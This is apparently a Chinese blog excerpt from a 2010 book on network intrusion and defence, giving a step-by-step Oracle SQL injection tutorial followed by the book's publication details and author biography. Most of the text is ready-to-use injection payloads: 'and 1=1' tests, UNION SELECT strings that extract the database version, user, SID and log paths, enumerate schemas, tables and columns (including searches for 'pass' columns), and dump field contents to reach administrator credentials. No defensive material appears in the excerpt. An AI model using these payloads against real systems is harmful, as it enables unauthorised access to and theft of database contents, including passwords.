Oracle注入点信息基本检测

 

6.1 Oracle注入点信息基本检测

对于Oracle注入点的检测比较特殊,不像其它注入点一样,需要经过多个步骤检测确认注入点所使用的数据库类型是否为Oracle。

6.1.1 Oracle注入点判断

首先,需要判断是否为Oracle注入点,可提交如下几步查询:

and 1=1

and 1=2

返回不一样的页面,则说明存在注入漏洞,继续在注入点处提交如下查询字符:

/*

“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:

--

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:

;

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。再提交如下查询:

and exists(select * from dual)

and (select count (*) from user_tables)>0--

dual和user_tables是Oracle中的系统表,如果返回正常页面,则可以确定是Oracle注入点。

6.1.2 注入点信息判断

确定注入点类型后,与前面的MySQL注入一样,先用Order by x猜出字段数目,再用联合查询union select方法得获取想要的信息。

最主要的信息是数据库版本,可利用(select banner from sys.v_$version where rownum=1)获取版本信息,例如:

and 1=2 union select 1,2,3,(select banner from sys.v_$version where rownum=1),4,5…… from dual

获取当前数据库连接用户名,可执行如下查询:

and 1=2 union select 1,2,3,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual),4,5…… from dual

执行如下查询:

and 1=2 union select 1,2,3,(select member from v$logfile where rownum=1),4,5…… from dual

通过查询日志文件绝对路径,可以判断操作系统平台。

另外,要获取服务器sid,可执行如下查询:

and 1=2 union select 1,2,3,(select instance_name from v$instance),4,5…… from dual

6.2 利用Oracle系统表爆数据库内容

与MySQL一样,可利用Oracle系统表直接爆出数据库中的所有内容。Oracle中存在dual系统表,其中存储了数据库名、表名、字段名等信息,直接针对此表进行注入攻击可获得整个数据库的结构,从而方便查询到管理员帐号数据信息。

6.2.1 爆出库名

在注入点处提交:

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…… from dual

可查询爆出中第一个库名,然后继续查询提交:

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<>'第一个库名'),4,5…… from dual

用同样的方法,可以查询出当前用户数据库中的所有数据库库名。

6.2.2 获取表名

在注入点处提交:

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5…… from dual

可查询数据库中第一个表,然后继续查询提交:

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'第一个表名'),4,5…… from dual

注意,表名要用大写或大写的16进制代码。用同样的方法,可以查询出当前用户数据库中的所有表名。

另外,也可以采用与前面MSSQL注入相似的方法,直接包含pass的表名,提交查询如下:

and (select column_name from user_tab_columns where column_name like'%25pass%25')>0

如果返回页面正常的话,则说明当前数据库中有包含pass的表名。再提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like'%25pass%25'),4,5…… from dual

即可得到包含pass的表名。

6.2.3 获取字段名

在注入点处提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and rownum=1),4,5…… from dual

可获取指定中第一个字段。然后继续查询提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第1个字段名' and rownum=1),4,5…… from dual

即可获取指定表中第二个字段。用同样的方法,可以查询出指定表中的所有字段名。

6.2.4 获取字段内容

在注入点处提交:

and 1=2 union select 1,2,3,字段名,4,5…… from 表名

即可查询出目标表里面的相应字段内容,以此类推,可以获取表中的所有字段内容。


大中型网络入侵要案直击与防御1

书名:大中型网络入侵要案直击与防御

作者:肖遥 编著

ISBN 978-7-121-11740-4

出版日期:2010年10

定价:79.00

开本:16

页码:624

作者简介

肖遥,网名“冰河洗剑”,国内著名网络安全技术独立研究人士。

曾从事国防军工设计,参与过J10A、J11B等战斗机配套武器研制,独立开发出HF25火箭发射器,参与DF8GA及导弹发射架等武器设计。

潜心钻研网络安全技术10余年,长期担任国内多家著名网站的安全顾问,专业从事网络渗透测试与网络风险评估。

长年在《黑客X档案》、《黑客防线》等国内安全专业媒体上与同行分享最新研究成果。出版有《网络渗透攻击与安防修炼》、《网站入侵与脚本安全攻防修炼》、《黑客大曝光》、《黑客攻防大揭秘》等多部安全类畅销技术专著。其中,《网站入侵与脚本安全攻防修炼》一书已输出至中国台湾等地。

本书以解析各种网络环境下攻防案例的形式来讲解各种网络攻击与防护技术,从“黑客攻击”与“安全工作者防守”双向角度来进行介绍。每一章节的内容按照如下脉络展开:典型攻防案例再现→案例的简单分析→黑客攻击技术的系统讲解→网管安全防护解决方案→入侵手法与防护难点深度分析。全书真实呈现完整的攻击与防护事件,可让读者了解到攻击者如何选择攻击目标,如何制订攻击方案,如何绕过攻击中碰到的问题,网管通常采用哪些防护手法,安全漏洞在何处,网管又如何追踪攻击者,等等,因此对学习者和工作者来说都很有吸引力和参考价值。

本书是网络管理员、信息安全管理员、对网络安全感兴趣的人员必备的参考书,也可供大中院校或培训学校教师和学生阅读和参考。

posted @ 2010-11-01 17:26  博文视点(北京)官方博客  阅读(227)  评论(0编辑  收藏  举报